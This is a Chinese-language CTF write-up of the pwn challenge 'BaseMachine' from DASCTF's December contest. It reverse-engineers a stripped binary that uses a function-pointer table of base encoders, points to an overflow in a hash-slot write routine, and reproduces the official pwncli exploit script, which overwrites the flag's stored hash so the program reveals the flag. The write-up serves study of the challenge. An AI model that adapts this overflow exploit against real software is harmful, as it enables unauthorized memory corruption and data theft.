DASCTF12 月赛复现
前言
本次 DASCTF 12 月赛尝试了 pwn 方向的两道题目,最终还是如愿以偿的爆零了。首先看到题目我就有种陌生的感觉,给定程序是去掉调试符号的,并且有多个函数,大大降低了可读性,和我先前遇见的题目有不小的区别。
BaseMachine
checksec

逆向分析

读入 ./flag
后传入
sub_3990
,图中的乱码是表情,是 IDA 的编码问题。后面是循环读入用户输入,同样传入
sub_3990
。
进入 sub_3990
继续分析:

根据传入的参数 a1
, a2
决定程序后续流程,具体是编码类型 (base64, base85...)。
有意思的是,程序将字符串的加解密流程放在在 _data
,即数据段中。
v10 = ((__int64 (__fastcall *)(char *, const char *))*(&off_7260 + v8))(s, a3);
.data:0000000000007260 off_7260 dq offset sub_1D6A ; DATA XREF: sub_3990+155↑o
.data:0000000000007260 ; sub_3990+1C8↑o
.data:0000000000007268 dq offset sub_1ED6
.data:0000000000007270 dq offset sub_22B2
.data:0000000000007278 dq offset sub_27D4
.data:0000000000007280 dq offset sub_2B94
.data:0000000000007288 dq offset sub_2E17
.data:0000000000007290 dq offset sub_3498
.data:0000000000007290 _data ends
.data:0000000000007290
这涉及到 C 语言中函数指针的概念:
函数指针是一个指向函数的指针变量,如:
int (*p)(int x, int y);
具有两个整型参数,返回值是整型。
如下代码实现了通过函数指针调用函数:
int maxValue (int a, int b) {
return a > b ? a : b;
}
int (*p)(int, int) = NULL;
p = maxValue;
p(1, 2);
而题目程序中就是通过类似这样的函数指针数组实现的。
接着,根据与 unk_73C0
中的数据比较这一功能可以(应该?)推测是在计算哈希

如果没有找到相同的,就使用新的槽位:

存、读取哈希和密文部分:
解密、输出部分:

Vulnerabilities
与 unk_73C0
读写有关的函数 sub_37A4
中存在溢出漏洞


攻击流程
以下为官方 wp 思路。
寻找具有 'b85' 开头 SHA256 值的字符串,将 flag 槽位上的哈希修改为这个值。具体实现如下(来自官方 wp):
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = ''
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./BaseMachine')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./BaseMachine')
cmd = '''
c
'''
for i in range(3):
sla("🫠🫠🫠", 'plain b64 ' + str(i))
launch_gdb(cmd)
sla("🫠🫠🫠", b'plain b85 ' + b'aaaa' * 10 + b'a')
ru("😍😍😍 ")
data = ru(b'\n', drop=True)
pad1 = data[0:5]
pad2 = data[-5:]
# Match found! String: 6eU, SHA-256: b8509ba8fe72a1a7755d30eb9f16d4337774beab47a9d59d51a659c8ea8ce888
for i in range(1, 8):
sla("🫠🫠🫠", b'b85 plain ' + b'09ba8fe72a1a7755d30eb9f16d4337774beab47a9d59d51a659c8ea8ce888aaaa' + pad1 * i + pad2 + pad1 * (10 - i))
sla("🫠🫠🫠", b'plain b64 6eU')
ru("😍😍😍 ")
flag = ru(b'\n', drop=True)
sla("🫠🫠🫠", b'b64 plain ' + flag)
ia()
总结
这题的作者可见对编码非常熟悉,目前我还没有对 base 系列有一个太清晰的了解。最多知道它大概的原理,或者仿写加解密的代码之类的。以后有空我会尝试手搓一下各种 base 的加解密的(之前接触 base 是 hgame-mini 2024 上的一道逆向题 ——base emoji)。另外对代码的阅读能力也有待提升。